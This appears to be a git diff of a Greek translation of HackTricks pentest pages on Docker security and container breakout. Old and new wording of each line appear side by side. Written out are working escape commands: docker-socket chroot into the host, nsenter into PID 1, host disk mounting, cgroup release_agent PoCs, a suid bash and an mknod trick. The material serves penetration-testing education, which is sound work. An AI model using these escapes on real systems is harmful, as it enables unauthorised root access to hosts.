* **Μην τοποθετείτε το ssh** μέσα στο container, το “docker exec” μπορεί να χρησιμοποιηθεί για να συνδεθείτε μέσω ssh στο Container.
* Έχετε **μικρότερες** εικόνες **containers**
## Διαρροή / Ανόρθωση Προνομίων στο Docker
Αν βρίσκεστε **μέσα σε ένα container docker** ή έχετε πρόσβαση σε έναν χρήστη στη **ομάδα docker**, μπορείτε να προσπαθήσετε να **δραπετεύσετε και να αναβαθμίσετε προνόμια**:
{% content-ref url="docker-breakout-privilege-escalation/" %}
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
{% endcontent-ref %}
## Παράκαμψη Προσθετικού Πιστοποίησης Docker
Αν έχετε πρόσβαση στο socket του docker ή έχετε πρόσβαση σε έναν χρήστη στη **ομάδα docker αλλά οι ενέργειές σας περιορίζονται από ένα πρόσθετο πιστοποίησης docker**, ελέγξτε αν μπορείτε να το **παρακάμψετε:**
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
{% endcontent-ref %}
## Ενίσχυση του Docker
* Το εργαλείο [**docker-bench-security**](https://github.com/docker/docker-bench-security) είναι ένα σενάριο που ελέγχει δεκάδες κοινές βέλτιστες πρακτικές γύρω από την ανάπτυξη container Docker σε παραγωγή. Οι δοκιμές είναι όλες αυτοματοποιημένες και βασίζονται στο [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
Πρέπει να εκτελέσετε το εργαλείο από τον υπολογιστή που εκτελεί το docker ή από ένα container με αρκετά προνόμια. Βρείτε **πώς να το εκτελέσετε στο README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## Αναφορές
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936)
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.

View file

@ -1,23 +1,23 @@
# Docker Breakout / Επέκταση Προνομίων
# Διαρροή / Ανόδου Προνομίων στο Docker
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -25,21 +25,21 @@
## Αυτόματη Απαρίθμηση & Απόδραση
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Μπορεί επίσης να **απαριθμήσει τα containers**
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Αυτό το εργαλείο είναι αρκετά **χρήσιμο για να απαριθμήσετε το container στο οποίο βρίσκεστε και ακόμα να αποδράσετε αυτόματα**
* [**amicontained**](https://github.com/genuinetools/amicontained): Χρήσιμο εργαλείο για να πάρετε τα προνόμια που έχει το container για να βρείτε τρόπους να αποδράσετε από αυτό
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Αυτό το εργαλείο είναι αρκετά **χρήσιμο για την απαρίθμηση του container στο οποίο βρίσκεστε και ακόμα να προσπαθήσετε να αποδράσετε αυτόματα**
* [**amicontained**](https://github.com/genuinetools/amicontained): Χρήσιμο εργαλείο για να λάβετε τα προνόμια που έχει το container προκειμένου να βρείτε τρόπους απόδρασης από αυτό
* [**deepce**](https://github.com/stealthcopter/deepce): Εργαλείο για απαρίθμηση και απόδραση από τα containers
* [**grype**](https://github.com/anchore/grype): Πάρτε τις CVEs που περιέχονται στο λογισμικό που είναι εγκατεστημένο στην εικόνα
* [**grype**](https://github.com/anchore/grype): Λάβετε τα CVEs που περιέχονται στο λογισμικό που είναι εγκατεστημένο στην εικόνα
## Απόδραση με την Τοποθέτηση του Κατακόρυφου Πρίζας του Docker
## Απόδραση με Ένωση του Docker Socket
Αν κατά κάποιον τρόπο ανακαλύψετε ότι η **κατακόρυφη πρίζα του Docker είναι τοποθετημένη** μέσα στο docker container, θα μπορείτε να αποδράσετε από αυτό.\
Αυτό συμβαίνει συνήθως σε docker containers που για κάποιο λόγο χρειάζονται να συνδεθούν με τον docker daemon για να εκτελέσουν ενέργειες.
Αν κάπως βρείτε ότι το **docker socket είναι συνδεδεμένο** μέσα στο docker container, θα μπορείτε να αποδράσετε από αυτό.\
Αυτό συμβαίνει συνήθως σε docker containers που για κάποιο λόγο χρειάζεται να συνδεθεί στον docker daemon για να εκτελέσει ενέργειες.
```bash
#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
```
Σε αυτήν την περίπτωση μπορείτε να χρησιμοποιήσετε κανονικές εντολές docker για να επικοινωνήσετε με τον δαίμονα του docker:
Σε αυτήν την περίπτωση μπορείτε να χρησιμοποιήσετε τα κανονικά εντολές docker για να επικοινωνήσετε με τον docker daemon:
```bash
#List images to use one
docker images
@ -54,13 +54,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```
{% hint style="info" %}
Σε περίπτωση που το **docker socket βρίσκεται σε μια αναπάντεχη θέση**, μπορείτε ακόμα να επικοινωνήσετε μαζί του χρησιμοποιώντας την εντολή **`docker`** με την παράμετρο **`-H unix:///path/to/docker.sock`**
Σε περίπτωση που το **docker socket βρίσκεται σε μη αναμενόμενη θέση** μπορείτε ακόμα να επικοινωνήσετε μαζί του χρησιμοποιώντας την εντολή **`docker`** με την παράμετρο **`-H unix:///path/to/docker.sock`**
{% endhint %}
Ο δαίμονας του Docker μπορεί επίσης να είναι [σε ακρόαση σε ένα θύρο (προεπιλογή 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ή σε συστήματα που βασίζονται στο Systemd, η επικοινωνία με τον δαίμονα του Docker μπορεί να γίνει μέσω του Systemd socket `fd://`.
Το Docker daemon ενδέχεται επίσης να [ακούει σε ένα θύρα (προεπιλεγμένα 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ή σε συστήματα βασισμένα στο Systemd, η επικοινωνία με το Docker daemon μπορεί να γίνει μέσω του Systemd socket `fd://`.
{% hint style="info" %}
Επιπλέον, προσέξτε τα sockets εκτέλεσης άλλων υψηλού επιπέδου εκτελεστικών περιβαλλόντων:
Επιπλέον, προσέξτε τα sockets εκτέλεσης άλλων υψηλού επιπέδου εκτελέσεων:
* dockershim: `unix:///var/run/dockershim.sock`
* containerd: `unix:///run/containerd/containerd.sock`
@ -70,23 +70,23 @@ docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --se
* ...
{% endhint %}
## Κατάχρηση δυνατοτήτων για απόδραση
## Απόδραση Κατάχρησης Δυνατοτήτων
Θα πρέπει να ελέγξετε τις δυνατότητες του container, αν έχει οποιαδήποτε από τις παρακάτω, μπορεί να μπορείτε να αποδράσετε από αυτό: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
Θα πρέπει να ελέγξετε τις δυνατότητες του container, αν έχει οποιαδήποτε από τις παρακάτω, ενδέχεται να μπορείτε να δραπετεύσετε από αυτό: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
Μπορείτε να ελέγξετε τις τρέχουσες δυνατότητες του container χρησιμοποιώντας **τα προηγούμενα αναφερθέντα αυτόματα εργαλεία** ή:
Μπορείτε να ελέγξετε τις τρέχουσες δυνατότητες του container χρησιμοποιώντας τα **προηγουμένως αναφερθέντα αυτόματα εργαλεία** ή:
```bash
capsh --print
```
Στην ακόλουθη σελίδα μπορείτε να **μάθετε περισσότερα για τις δυνατότητες του Linux** και πώς να τις καταχραστείτε για να δραπετεύσετε/εξελίξετε προνόμια:
Στην ακόλουθη σελίδα μπορείτε **να μάθετε περισσότερα σχετικά με τις δυνατότητες του Linux** και πώς να τις καταχραστείτε για να δραπετεύσετε/εξελίξετε προνόμια:
{% content-ref url="../../linux-capabilities.md" %}
[linux-capabilities.md](../../linux-capabilities.md)
{% endcontent-ref %}
## Δραπέτευση από Προνομιούχους Εμπορευματοκιβώτια
## Δραπέτευση από Προνομιούχους Ελέγχους
Ένα προνομιούχο εμπορευματοκιβώτιο μπορεί να δημιουργηθεί με τη σημαία `--privileged` ή απενεργοποιώντας συγκεκριμένες ασφαλείς προστασίες:
Ένας προνομιούχος ελεγκτής μπορεί να δημιουργηθεί με τη σημαία `--privileged` ή απενεργοποιώντας συγκεκριμένες αμυντικές μέθοδους:
* `--cap-add=ALL`
* `--security-opt apparmor=unconfined`
@ -98,35 +98,35 @@ capsh --print
* `--cgroupns=host`
* `Mount /dev`
Η σημαία `--privileged` μειώνει σημαντικά την ασφάλεια του εμπορευματοκιβωτίου, προσφέροντας **απεριόριστη πρόσβαση σε συσκευές** και παρακάμπτοντας **πολλές προστασίες**. Για λεπτομερείς πληροφορίες, ανατρέξτε στην τεκμηρίωση για τις πλήρεις επιπτώσεις της `--privileged`.
Η σημαία `--privileged` μειώνει σημαντικά την ασφάλεια του ελεγκτή, προσφέροντας **απεριόριστη πρόσβαση σε συσκευές** και παρακάμπτοντας **πολλές προστασίες**. Για λεπτομερή ανάλυση, ανατρέξτε στην τεκμηρίωση για τις πλήρεις επιπτώσεις της `--privileged`.
{% content-ref url="../docker-privileged.md" %}
[docker-privileged.md](../docker-privileged.md)
{% endcontent-ref %}
### Προνομιούχο + hostPID
### Προνομιούχος + hostPID
Με αυτές τις άδειες, μπορείτε απλά να **μεταβείτε στο περιβάλλον ενός διεργασίας που εκτελείται στον κεντρικό υπολογιστή ως root**, όπως το init (pid:1), απλά εκτελώντας: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Με αυτές τις άδειες μπορείτε απλά **να μεταβείτε στο χώρο ονομάτων ενός διεργασίας που εκτελείται στον κεντρικό υπολογιστή ως ριζοχρήστης** όπως το init (pid:1) απλά εκτελώντας: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Δοκιμάστε το σε ένα εμπορευματοκιβώτιο εκτελώντας:
Δοκιμάστε το σε έναν ελεγκτή εκτελώντας:
```bash
docker run --rm -it --pid=host --privileged ubuntu bash
```
### Προνομιούχος
Μόνο με τη σημαία προνομιούχου μπορείτε να δοκιμάσετε να **έχετε πρόσβαση στο δίσκο του υπολογιστή-φιλοξενούμενου** ή να προσπαθήσετε να **δραπετεύσετε καταχρώντας το release\_agent ή άλλες διαφυγές**.
Απλά με τη σημαία προνομιούχου μπορείτε να προσπαθήσετε να **έχετε πρόσβαση στο δίσκο του υπολογιστή** ή να προσπαθήσετε να **δραπετεύσετε καταχρώμενοι το release\_agent ή άλλες διαφυγές**.
Δοκιμάστε τις παρακάτω παρακάμψεις σε ένα δοχείο εκτελώντας:
Δοκιμάστε τις παρακάτω παρακάμψεις σε ένα container εκτελώντας:
```bash
docker run --rm -it --privileged ubuntu bash
```
#### Προσάρτηση Δίσκου - Poc1
Οι καλά διαμορφωμένοι εμπορεύσιμοι δοχείοι Docker δεν θα επιτρέπουν εντολές όπως **fdisk -l**. Ωστόσο, σε μια εντολή Docker που έχει ρυθμιστεί εσφαλμένα, όπου έχει καθοριστεί η σημαία `--privileged` ή `--device=/dev/sda1` με δυνατότητες, είναι δυνατόν να αποκτηθούν τα δικαιώματα για να δείτε τον δίσκο του κεντρικού υπολογιστή.
Οι ρυθμισμένες σωστά docker containers δεν θα επιτρέψουν εντολές όπως **fdisk -l**. Ωστόσο, σε docker εντολές που έχουν ρυθμιστεί λανθασμένα όπου ορίζεται η σημαία `--privileged` ή `--device=/dev/sda1` με κεφαλαία γράμματα, είναι δυνατόν να αποκτηθούν δικαιώματα για να δείτε τον δίσκο του κεντρικού υπολογιστή.
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
Έτσι, για να αναλάβετε τον έλεγχο του κεντρικού υπολογιστή, είναι απλό:
Έτσι, για να πάρετε τον έλεγχο του κεντρικού υπολογιστή, είναι εύκολο:
```bash
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
@ -135,7 +135,7 @@ mount /dev/sda1 /mnt/hola
#### Προσάρτηση Δίσκου - Poc2
Μέσα στο container, ένας επιτιθέμενος μπορεί να προσπαθήσει να αποκτήσει περαιτέρω πρόσβαση στο υποκείμενο λειτουργικό σύστημα του κεντρικού υπολογιστή μέσω ενός εγγράψιμου όγκου hostPath που δημιουργείται από το cluster. Παρακάτω είναι μερικά κοινά πράγματα που μπορείτε να ελέγξετε μέσα στο container για να δείτε αν εκμεταλλεύεστε αυτόν τον διανυσματικό δρομέα:
Μέσα στο container, ένας επιτιθέμενος μπορεί να προσπαθήσει να κερδίσει περαιτέρω πρόσβαση στο υποκείμενο λειτουργικό σύστημα του κεντρικού υπολογιστή μέσω ενός εγγράψιμου όγκου hostPath που δημιουργήθηκε από το cluster. Παρακάτω είναι μερικά κοινά πράγματα που μπορείτε να ελέγξετε μέσα στο container για να δείτε αν μπορείτε να εκμεταλλευτείτε αυτό το διάνυσμα του επιτιθέμενου:
```bash
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger
@ -156,7 +156,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
### debugfs (Interactive File System Debugger)
debugfs /dev/sda1
```
#### Απόδραση με προνόμια εκμεταλλευόμενος τον υπάρχοντα release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
#### Απόδραση με προνομιούχο χρήστη εκμεταλλευόμενος τον υπάρχοντα release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
{% code title="Αρχικό PoC" %}
```bash
@ -192,9 +192,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# Reads the output
cat /o
```
#### Απόδραση με προνόμια μέσω κακόβουλου release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
{% code title="Δεύτερο PoC" %}
#### Απόδραση με προνομιούχο ρόλο εκμεταλλευόμενος το δημιουργημένο release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
```bash
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
@ -244,9 +242,9 @@ cat /output
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
{% endcontent-ref %}
#### Απόδραση με ιδιοκτησία χρησιμοποιώντας το release\_agent χωρίς να γνωρίζετε τη σχετική διαδρομή - PoC3
#### Απόδραση με Προνομιούχο Κατάχρηση του release\_agent χωρίς να γνωρίζετε τη σχετική διαδρομή - PoC3
Στις προηγούμενες εκμεταλλεύσεις, η **απόλυτη διαδρομή του container μέσα στο σύστημα του host αποκαλύπτεται**. Ωστόσο, αυτό δεν συμβαίνει πάντα. Σε περιπτώσεις όπου **δεν γνωρίζετε την απόλυτη διαδρομή του container μέσα στον host**, μπορείτε να χρησιμοποιήσετε αυτήν την τεχνική:
Στις προηγούμενες εκμεταλλεύσεις, η **απόλυτη διαδρομή του container μέσα στο σύστημα αρχείων των hosts αποκαλύπτεται**. Ωστόσο, αυτό δεν συμβαίνει πάντα. Σε περιπτώσεις όπου **δεν γνωρίζετε την απόλυτη διαδρομή του container μέσα στον host** μπορείτε να χρησιμοποιήσετε αυτήν την τεχνική:
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
@ -310,7 +308,7 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
Η εκτέλεση του PoC εντός ενός προνομιούχου container θα πρέπει να παρέχει έξοδο παρόμοια με:
Η εκτέλεση του PoC εντός ενός προνομιούχου container θα παρέχει έξοδο παρόμοια με:
```bash
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
@ -338,9 +336,9 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
```
#### Απόδραση από προνομιούχο περιβάλλον εκμεταλλευόμενο ευαίσθητα σημεία προσάρτησης
#### Απόδραση με Προνομιούχο Χρήστη Εκμεταλλευόμενος Ευαίσθητα Mounts
Υπάρχουν αρκετά αρχεία που μπορεί να προσαρτηθούν και παρέχουν **πληροφορίες για τον υποκείμενο κεντρικό υπολογιστή**. Ορισμένα από αυτά μπορεί ακόμα να υποδεικνύουν **κάτι που πρέπει να εκτελεστεί από τον κεντρικό υπολογιστή όταν συμβεί κάτι** (το οποίο θα επιτρέψει σε έναν επιτιθέμενο να δραπετεύσει από τον εμπορευματοκιβώτιο).\
Υπάρχουν αρκετά αρχεία που μπορεί να τοποθετηθούν που δίνουν **πληροφορίες σχετικά με τον υποκείμενο κεντρικό υπολογιστή**. Κάποια από αυτά μπορεί ακόμη να υποδεικνύουν **κάτι που πρόκειται να εκτελεστεί από τον κεντρικό υπολογιστή όταν συμβεί κάτι** (το οποίο θα επιτρέψει σε έναν επιτιθέμενο να δραπετεύσει από τον εμπλεκόμενο δοχείο).\
Η κατάχρηση αυτών των αρχείων μπορεί να επιτρέψει:
* release\_agent (ήδη καλυμμένο προηγουμένως)
@ -355,16 +353,16 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
[sensitive-mounts.md](sensitive-mounts.md)
{% endcontent-ref %}
### Αυθαίρετες Προσαρτήσεις
### Αυθαίρετα Mounts
Σε πολλές περιπτώσεις θα διαπιστώσετε ότι το **εμπορευματοκιβώτιο έχει προσαρτηθεί μερικός όγκος από τον κεντρικό υπολογιστή**. Εάν αυτός ο όγκος δεν έχει διαμορφωθεί σωστά, μπορείτε να **έχετε πρόσβαση/τροποποίηση ευαίσθητων δεδομένων**: Διαβάστε μυστικά, αλλάξτε τα εξουσιοδοτημένα κλειδιά ssh...
Σε πολλές περιπτώσεις θα διαπιστώσετε ότι το **δοχείο έχει κάποιον όγκο που έχει τοποθετηθεί από τον κεντρικό υπολογιστή**. Εάν αυτός ο όγκος δεν έχει διαμορφωθεί σωστά, ενδέχεται να μπορείτε να **έχετε πρόσβαση/τροποποιήσετε ευαίσθητα δεδομένα**: Διαβάστε μυστικά, αλλάξτε τα authorized\_keys του ssh...
```bash
docker run --rm -it -v /:/host ubuntu bash
```
### Ανόδου Προνομιούχων Δικαιωμάτων με 2 κέλυφη και προσάρτηση του κεντρικού συστήματος
### Εscalation προνομίων με 2 κελύφη και host mount
Εάν έχετε πρόσβαση ως **root μέσα σε ένα container** που έχει έναν φάκελο από το κεντρικό σύστημα προσαρτημένο και έχετε **αποδράσει ως ένας μη προνομιούχος χρήστης στο κεντρικό σύστημα** και έχετε πρόσβαση ανάγνωσης στον προσαρτημένο φάκελο.\
Μπορείτε να δημιουργήσετε ένα **αρχείο bash suid** στον **προσαρτημένο φάκελο** μέσα στο **container** και να το εκτελέσετε από το κεντρικό σύστημα για να αναβαθμίσετε τα δικαιώματα.
Εάν έχετε πρόσβαση ως **root μέσα σε ένα container** που έχει κάποιο φάκελο από τον host που έχει προσαρτηθεί και έχετε **δραπετεύσει ως μη προνομιούχος χρήστης στον host** και έχετε πρόσβαση ανάγνωσης στον προσαρτημένο φάκελο.\
Μπορείτε να δημιουργήσετε ένα **αρχείο bash suid** στον **προσαρτημένο φάκελο** μέσα στο **container** και να το **εκτελέσετε από τον host** για προνομιούχα αύξηση.
```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@ -372,12 +370,12 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```
### Επέκταση Προνομίων με 2 καταλήψεις
### Εscalation προνομίων με 2 κελύφη
Εάν έχετε πρόσβαση ως **root μέσα σε ένα container** και έχετε **αποδράσει ως μη προνομιούχος χρήστης στον host**, μπορείτε να καταχραστείτε και τις δύο καταλήψεις για να **επεκτείνετε τα προνόμια μέσα στον host** αν έχετε τη δυνατότητα MKNOD μέσα στο container (προεπιλογή είναι) όπως [**εξηγείται σε αυτήν την ανάρτηση**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Με αυτήν τη δυνατότητα, ο χρήστης root μέσα στο container επιτρέπεται να **δημιουργεί αρχεία συσκευής block**. Τα αρχεία συσκευής είναι ειδικά αρχεία που χρησιμοποιούνται για να **έχουν πρόσβαση στο υποκείμενο υλικό και τις πυρήνας ενότητες**. Για παράδειγμα, το αρχείο συσκευής block /dev/sda παρέχει πρόσβαση για **ανάγνωση των ακατέργαστων δεδομένων στον δίσκο του συστήματος**.
Εάν έχετε πρόσβαση ως **root μέσα σε ένα container** και έχετε **δραπετεύσει ως μη προνομιούχος χρήστης στον host**, μπορείτε να καταχραστείτε και τα δύο κελύφη για **επέκταση προνομίων μέσα στον host** αν έχετε τη δυνατότητα MKNOD μέσα στο container (είναι προεπιλεγμένο) όπως [**εξηγείται σε αυτή την ανάρτηση**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Με αυτή τη δυνατότητα, ο χρήστης root μέσα στο container επιτρέπεται να **δημιουργεί αρχεία block device**. Τα αρχεία συσκευών είναι ειδικά αρχεία που χρησιμοποιούνται για **πρόσβαση στο υποκείμενο hardware & στα modules του πυρήνα**. Για παράδειγμα, το αρχείο block device /dev/sda δίνει πρόσβαση για **ανάγνωση των raw δεδομένων στο δίσκο των συστημάτων**.
Το Docker προστατεύει από την κατάχρηση αρχείων συσκευής block μέσα στα containers επιβάλλοντας μια πολιτική cgroup που **αποκλείει τις λειτουργίες ανάγνωσης/εγγραφής αρχείων συσκευής block**. Ωστόσο, εάν ένα αρχείο συσκευής block **δημιουργηθεί μέσα στο container**, γίνεται προσβάσιμο από έξω από το container μέσω του φακέλου **/proc/PID/root/**. Αυτή η πρόσβαση απαιτεί τον **ίδιο ιδιοκτήτη διεργασίας** τόσο μέσα όσο και έξω από το container.
Το Docker προστατεύει ενάντια στην κατάχρηση αρχείων block device μέσα στα containers επιβάλλοντας μια πολιτική cgroup που **αποκλείει τις λειτουργίες ανάγνωσης/εγγραφής αρχείων block device**. Ωστόσο, εάν ένα αρχείο block device **δημιουργηθεί μέσα στο container**, γίνεται προσβάσιμο από έξω από το container μέσω του φακέλου **/proc/PID/root/**. Αυτή η πρόσβαση απαιτεί τον **ίδιο κάτοχο διεργασίας** τόσο μέσα όσο και έξω από το container.
Παράδειγμα **εκμετάλλευσης** από αυτό το [**άρθρο**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
```bash
@ -417,13 +415,13 @@ HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
```
### hostPID
Εάν μπορείτε να έχετε πρόσβαση στις διεργασίες του κεντρικού υπολογιστή, θα μπορείτε να έχετε πρόσβαση σε πολλές ευαίσθητες πληροφορίες που αποθηκεύονται σε αυτές τις διεργασίες. Εκτέλεση εργαστηρίου δοκιμής:
Εάν μπορείτε να έχετε πρόσβαση στις διεργασίες του κεντρικού υπολογιστή, τότε θα μπορείτε να έχετε πρόσβαση σε πολλές ευαίσθητες πληροφορίες που αποθηκεύονται σε αυτές τις διεργασίες. Εκτελέστε το εργαστήριο δοκιμών:
```
docker run --rm -it --pid=host ubuntu bash
```
Για παράδειγμα, θα μπορείτε να καταλογίσετε τις διεργασίες χρησιμοποιώντας κάτι σαν `ps auxn` και να αναζητήσετε ευαίσθητες λεπτομέρειες στις εντολές.
Για παράδειγμα, θα μπορείτε να εμφανίσετε τις διεργασίες χρησιμοποιώντας κάτι σαν `ps auxn` και να αναζητήσετε ευαίσθητες λεπτομέρειες στις εντολές.
